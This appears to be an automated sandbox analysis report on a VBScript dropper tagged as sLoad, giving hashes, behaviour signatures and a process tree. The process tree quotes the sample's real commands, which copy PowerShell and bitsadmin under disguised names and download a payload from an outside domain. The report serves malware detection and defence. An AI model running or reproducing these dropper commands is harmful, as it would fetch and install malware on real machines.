Analysis

  • max time kernel
    95s
  • max time network
    104s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240704-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240704-enlocale:en-usos:windows10-2004-x64system
  • submitted
    07-07-2024 10:35

General

  • Target

    29ec374f3e6c877fb8d178d54bdc86d6_JaffaCakes118.vbs

  • Size

    9KB

  • MD5

    29ec374f3e6c877fb8d178d54bdc86d6

  • SHA1

    dc798767bb280847a81f6fce72c2100c190a8135

  • SHA256

    109ce2c2ec110de51db1113ad11bcbb30c4c3ef02f2dda5a97a138f885f50f49

  • SHA512

    6d62ff0e4f6f329e9a6d45fd41703512fee0db53a9ca7b9fa9b7827337b026d06eba4ae12d08f5f7654d6b218670b779928071fa28c18aba812cd50b4421dc17

  • SSDEEP

    192:GFPF/TusFUnu/nXWB+N7Z+ssQBq4MZEgo8xNQCBDG+Z0JK7WOG/bbfghfyFIFQF6:CTusFUnu/nXWm7Z+s5HMZEgo8xNQCBqg

Score
10/10

Malware Config

Signatures

  • sLoad

    sLoad is a PowerShell downloader that can exfiltrate system information and deliver additional payloads.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious use of WriteProcessMemory 9 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\29ec374f3e6c877fb8d178d54bdc86d6_JaffaCakes118.vbs"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1228
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c cmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\avwyOLoh.exe & cmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\rZbagMH*.exe
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2932
      • C:\Windows\system32\cmd.exe
        cmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\avwyOLoh.exe
        3⤵
          PID:4924
        • C:\Windows\system32\cmd.exe
          cmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\rZbagMH*.exe
          3⤵
            PID:4600
        • C:\ProgramData\rZbagMHin.exe
          "C:\ProgramData\rZbagMHin.exe" /wrap /transfer XMsrTAoB https://marthayfabrizio.com/fibra/09069420967/doc.doc C:\ProgramData\doc.doc
          2⤵
          • Executes dropped EXE
          PID:1528

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\ProgramData\rZbagMHin.exe

        Filesize

        182KB

        MD5

        f57a03fa0e654b393bb078d1c60695f3

        SHA1

        1ced6636bd2462c0f1b64775e1981d22ae57af0b

        SHA256

        c93b7734470cf96c5170f7b21f361cdf3f74ca819626c83c4b8a68210deeb35c

        SHA512

        7e84dd9a3e29523d25c0927424261ced908191e3151c9802b61fa3c5fe13d1192d19996cb435bb6d9be5731b8370e8ffb6ad26a4ba0733e212a103eb0bd75a2a